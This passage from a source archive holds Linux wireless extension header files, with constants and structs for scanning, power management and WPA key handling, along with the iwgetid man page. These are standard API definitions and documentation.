*/ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_SAVING 0x4000 /* Value is relative (how aggressive)*/ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x00FF /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ #define IW_RETRY_SHORT 0x0010 /* Value is for short packets */ #define IW_RETRY_LONG 0x0020 /* Value is for long packets */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* struct iw_scan_req scan_type */ #define IW_SCAN_TYPE_ACTIVE 0 #define IW_SCAN_TYPE_PASSIVE 1 /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Generic information element */ #define IW_GENERIC_IE_MAX 1024 /* MLME requests (SIOCSIWMLME / struct iw_mlme) */ #define IW_MLME_DEAUTH 0 #define IW_MLME_DISASSOC 1 #define IW_MLME_AUTH 2 #define IW_MLME_ASSOC 3 /* SIOCSIWAUTH/SIOCGIWAUTH struct iw_param flags */ #define IW_AUTH_INDEX 0x0FFF #define IW_AUTH_FLAGS 0xF000 /* SIOCSIWAUTH/SIOCGIWAUTH parameters (0 .. 4095) * (IW_AUTH_INDEX mask in struct iw_param flags; this is the index of the * parameter that is being set/get to; value will be read/written to * struct iw_param value field) */ #define IW_AUTH_WPA_VERSION 0 #define IW_AUTH_CIPHER_PAIRWISE 1 #define IW_AUTH_CIPHER_GROUP 2 #define IW_AUTH_KEY_MGMT 3 #define IW_AUTH_TKIP_COUNTERMEASURES 4 #define IW_AUTH_DROP_UNENCRYPTED 5 #define IW_AUTH_80211_AUTH_ALG 6 #define IW_AUTH_WPA_ENABLED 7 #define IW_AUTH_RX_UNENCRYPTED_EAPOL 8 #define IW_AUTH_ROAMING_CONTROL 9 #define IW_AUTH_PRIVACY_INVOKED 10 /* IW_AUTH_WPA_VERSION values (bit field) */ #define IW_AUTH_WPA_VERSION_DISABLED 0x00000001 #define IW_AUTH_WPA_VERSION_WPA 0x00000002 #define IW_AUTH_WPA_VERSION_WPA2 0x00000004 /* IW_AUTH_PAIRWISE_CIPHER and IW_AUTH_GROUP_CIPHER values (bit field) */ #define IW_AUTH_CIPHER_NONE 0x00000001 #define IW_AUTH_CIPHER_WEP40 0x00000002 #define IW_AUTH_CIPHER_TKIP 0x00000004 #define IW_AUTH_CIPHER_CCMP 0x00000008 #define IW_AUTH_CIPHER_WEP104 0x00000010 /* IW_AUTH_KEY_MGMT values (bit field) */ #define IW_AUTH_KEY_MGMT_802_1X 1 #define IW_AUTH_KEY_MGMT_PSK 2 /* IW_AUTH_80211_AUTH_ALG values (bit field) */ #define IW_AUTH_ALG_OPEN_SYSTEM 0x00000001 #define IW_AUTH_ALG_SHARED_KEY 0x00000002 #define IW_AUTH_ALG_LEAP 0x00000004 /* IW_AUTH_ROAMING_CONTROL values */ #define IW_AUTH_ROAMING_ENABLE 0 /* driver/firmware based roaming */ #define IW_AUTH_ROAMING_DISABLE 1 /* user space program used for roaming * control */ /* SIOCSIWENCODEEXT definitions */ #define IW_ENCODE_SEQ_MAX_SIZE 8 /* struct iw_encode_ext ->alg */ #define IW_ENCODE_ALG_NONE 0 #define IW_ENCODE_ALG_WEP 1 #define IW_ENCODE_ALG_TKIP 2 #define IW_ENCODE_ALG_CCMP 3 /* struct iw_encode_ext ->ext_flags */ #define IW_ENCODE_EXT_TX_SEQ_VALID 0x00000001 #define IW_ENCODE_EXT_RX_SEQ_VALID 0x00000002 #define IW_ENCODE_EXT_GROUP_KEY 0x00000004 #define IW_ENCODE_EXT_SET_TX_KEY 0x00000008 /* IWEVMICHAELMICFAILURE : struct iw_michaelmicfailure ->flags */ #define IW_MICFAILURE_KEY_ID 0x00000003 /* Key ID 0..3 */ #define IW_MICFAILURE_GROUP 0x00000004 #define IW_MICFAILURE_PAIRWISE 0x00000008 #define IW_MICFAILURE_STAKEY 0x00000010 #define IW_MICFAILURE_COUNT 0x00000060 /* 1 or 2 (0 = count not supported) */ /* Bit field values for enc_capa in struct iw_range */ #define IW_ENC_CAPA_WPA 0x00000001 #define IW_ENC_CAPA_WPA2 0x00000002 #define IW_ENC_CAPA_CIPHER_TKIP 0x00000004 #define IW_ENC_CAPA_CIPHER_CCMP 0x00000008 /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /* Modulations bitmasks */ #define IW_MODUL_ALL 0x00000000 /* Everything supported */ #define IW_MODUL_FH 0x00000001 /* Frequency Hopping */ #define IW_MODUL_DS 0x00000002 /* Original Direct Sequence */ #define IW_MODUL_CCK 0x00000004 /* 802.11b : 5.5 + 11 Mb/s */ #define IW_MODUL_11B (IW_MODUL_DS | IW_MODUL_CCK) #define IW_MODUL_PBCC 0x00000008 /* TI : 5.5 + 11 + 22 Mb/s */ #define IW_MODUL_OFDM_A 0x00000010 /* 802.11a : 54 Mb/s */ #define IW_MODUL_11A (IW_MODUL_OFDM_A) #define IW_MODUL_11AB (IW_MODUL_11B | IW_MODUL_11A) #define IW_MODUL_OFDM_G 0x00000020 /* 802.11g : 54 Mb/s */ #define IW_MODUL_11G (IW_MODUL_11B | IW_MODUL_OFDM_G) #define IW_MODUL_11AG (IW_MODUL_11G | IW_MODUL_11A) #define IW_MODUL_TURBO 0x00000040 /* ATH : bonding, 108 Mb/s */ /* In here we should define MIMO stuff. Later... */ #define IW_MODUL_CUSTOM 0x40000000 /* Driver specific */ /* Bitrate flags available */ #define IW_BITRATE_TYPE 0x00FF /* Type of value */ #define IW_BITRATE_UNICAST 0x0001 /* Maximum/Fixed unicast bitrate */ #define IW_BITRATE_BROADCAST 0x0002 /* Fixed broadcast bitrate */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* * Optional data for scan request * * Note: these optional parameters are controlling parameters for the * scanning behavior, these do not apply to getting scan results * (SIOCGIWSCAN). Drivers are expected to keep a local BSS table and * provide a merged results with all BSSes even if the previous scan * request limited scanning to a subset, e.g., by specifying an SSID. * Especially, scan results are required to include an entry for the * current BSS if the driver is in Managed mode and associated with an AP. */ struct iw_scan_req { __u8 scan_type; /* IW_SCAN_TYPE_{ACTIVE,PASSIVE} */ __u8 essid_len; __u8 num_channels; /* num entries in channel_list; * 0 = scan all allowed channels */ __u8 flags; /* reserved as padding; use zero, this may * be used in the future for adding flags * to request different scan behavior */ struct sockaddr bssid; /* ff:ff:ff:ff:ff:ff for broadcast BSSID or * individual address of a specific BSS */ /* * Use this ESSID if IW_SCAN_THIS_ESSID flag is used instead of using * the current ESSID. This allows scan requests for specific ESSID * without having to change the current ESSID and potentially breaking * the current association. */ __u8 essid[IW_ESSID_MAX_SIZE]; /* * Optional parameters for changing the default scanning behavior. * These are based on the MLME-SCAN.request from IEEE Std 802.11. * TU is 1.024 ms. If these are set to 0, driver is expected to use * reasonable default values. min_channel_time defines the time that * will be used to wait for the first reply on each channel. If no * replies are received, next channel will be scanned after this. If * replies are received, total time waited on the channel is defined by * max_channel_time. */ __u32 min_channel_time; /* in TU */ __u32 max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; /* ------------------------- WPA SUPPORT ------------------------- */ /* * Extended data structure for get/set encoding (this is used with * SIOCSIWENCODEEXT/SIOCGIWENCODEEXT. struct iw_point and IW_ENCODE_* * flags are used in the same way as with SIOCSIWENCODE/SIOCGIWENCODE and * only the data contents changes (key data -> this structure, including * key data). * * If the new key is the first group key, it will be set as the default * TX key. Otherwise, default TX key index is only changed if * IW_ENCODE_EXT_SET_TX_KEY flag is set. * * Key will be changed with SIOCSIWENCODEEXT in all cases except for * special "change TX key index" operation which is indicated by setting * key_len = 0 and ext_flags |= IW_ENCODE_EXT_SET_TX_KEY. * * tx_seq/rx_seq are only used when respective * IW_ENCODE_EXT_{TX,RX}_SEQ_VALID flag is set in ext_flags. Normal * TKIP/CCMP operation is to set RX seq with SIOCSIWENCODEEXT and start * TX seq from zero whenever key is changed. SIOCGIWENCODEEXT is normally * used only by an Authenticator (AP or an IBSS station) to get the * current TX sequence number. Using TX_SEQ_VALID for SIOCSIWENCODEEXT and * RX_SEQ_VALID for SIOCGIWENCODEEXT are optional, but can be useful for * debugging/testing. */ struct iw_encode_ext { __u32 ext_flags; /* IW_ENCODE_EXT_* */ __u8 tx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ __u8 rx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ struct sockaddr addr; /* ff:ff:ff:ff:ff:ff for broadcast/multicast * (group) keys or unicast address for * individual keys */ __u16 alg; /* IW_ENCODE_ALG_* */ __u16 key_len; __u8 key[0]; }; /* SIOCSIWMLME data */ struct iw_mlme { __u16 cmd; /* IW_MLME_* */ __u16 reason_code; struct sockaddr addr; }; /* SIOCSIWPMKSA data */ #define IW_PMKSA_ADD 1 #define IW_PMKSA_REMOVE 2 #define IW_PMKSA_FLUSH 3 #define IW_PMKID_LEN 16 struct iw_pmksa { __u32 cmd; /* IW_PMKSA_* */ struct sockaddr bssid; __u8 pmkid[IW_PMKID_LEN]; }; /* IWEVMICHAELMICFAILURE data */ struct iw_michaelmicfailure { __u32 flags; struct sockaddr src_addr; __u8 tsc[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ }; /* IWEVPMKIDCAND data */ #define IW_PMKID_CAND_PREAUTH 0x00000001 /* RNS pre-authentication enabled */ struct iw_pmkid_cand { __u32 flags; /* IW_PMKID_CAND_* */ __u32 index; /* the smaller the index, the higher the * priority */ struct sockaddr bssid; }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Wireless event capability bitmasks */ __u32 event_capa[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ __u32 enc_capa; /* IW_ENC_CAPA_* bit field */ /* More power management stuff */ __s32 min_pms; /* Minimal PM saving */ __s32 max_pms; /* Maximal PM saving */ __u16 pms_flags; /* How to decode max/min PM saving */ /* All available modulations for driver (hw may support less) */ __s32 modul_capa; /* IW_MODUL_* bit field */ /* More bitrate stuff */ __u32 bitrate_capa; /* Types of bitrates supported */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* iw_point events are special. First, the payload (extra data) come at * the end of the event, so they are bigger than IW_EV_POINT_LEN. Second, * we omit the pointer, so start at an offset. */ #define IW_EV_POINT_OFF (((char *) &(((struct iw_point *) NULL)->length)) - \ (char *) NULL) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point) - \ IW_EV_POINT_OFF) /* Size of the Event prefix when packed in stream */ #define IW_EV_LCP_PK_LEN (4) /* Size of the various events when packed in stream */ #define IW_EV_CHAR_PK_LEN (IW_EV_LCP_PK_LEN + IFNAMSIZ) #define IW_EV_UINT_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(__u32)) #define IW_EV_FREQ_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_quality)) #define IW_EV_POINT_PK_LEN (IW_EV_LCP_LEN + 4) #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwgetid.80000755000175000017500000000524411705505256015315 0ustar reaverreaver.\" Guus Sliepen - 2001 .\" Completed and fixed up by Jean Tourrilhes - 2002-2003 .\" iwgetid.8 .\" .TH IWGETID 8 "02 December 2003" "wireless-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iwgetid \- Report ESSID, NWID or AP/Cell Address of wireless network .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwgetid " [interface] " [--raw] [--scheme] [--ap] [--freq]" .br .BI " [--mode] [--protocol] [--channel] .br .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B iwgetid is used to find out the NWID, ESSID or AP/Cell Address of the wireless network that is currently used. The information reported is the same as the one shown by .BR iwconfig ", but " iwgetid is easier to integrate in various scripts. .br By default, .B iwgetid will print the .I ESSID of the device, and if the device doesn't have any ESSID it will print its .IR NWID . .br The default formatting output is pretty-print. .\" .\" OPTIONS part .\" .SH OPTIONS .TP .B --raw This option disables pretty-printing of the information. This option is orthogonal to the other options (except .BR --scheme ), so with the appropriate combination of options you can print the raw ESSID, AP Address or Mode. .br This format is ideal when storing the result of iwgetid as a variable in .I Shell or .I Perl scripts or to pass the result as an argument on the command line of .BR iwconfig . .TP .B --scheme This option is similar to the previous one, it disables pretty-printing of the information and removes all characters that are not alphanumerics (like space, punctuation and control characters). .br The resulting output is a valid Pcmcia scheme identifier (that may be used as an argument of the command .BR "cardctl scheme" ). This format is also ideal when using the result of iwgetid as a selector in .I Shell or .I Perl scripts, or as a file name. .TP .B --ap Display the MAC address of the Wireless .I Access Point or the .IR Cell . .TP .B --freq Display the current .I frequency or .I channel used by the interface. .TP .B --channel Display the current .I channel used by the interface. The channel is determined using the current frequency and the frequency list provided by the interface. .TP .B --mode Display the current .I mode of the interface. .TP .B --protocol Display the .I protocol name of the interface. This allows to identify all the cards that are compatible with each other and accept the same type of configuration. .br This can also be used to .I check Wireless Extension support on the interface, as this is the only attribute that all drivers supporting Wireless Extension are mandated to support. .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR ifconfig (8), .BR iwspy (8), .BR iwpriv (8). reaver-1.4/src/lwe/wireless.14.h0000755000175000017500000005762011705505256016026 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 14 25.1.02 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2002 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # include/linux/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # include/linux/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 14 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Basic operations */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ #define SIOCSIWNWID 0x8B02 /* set network id (the cell) */ #define SIOCGIWNWID 0x8B03 /* get network id */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* Mobile IP support */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ /* Access Point manipulation */ #define 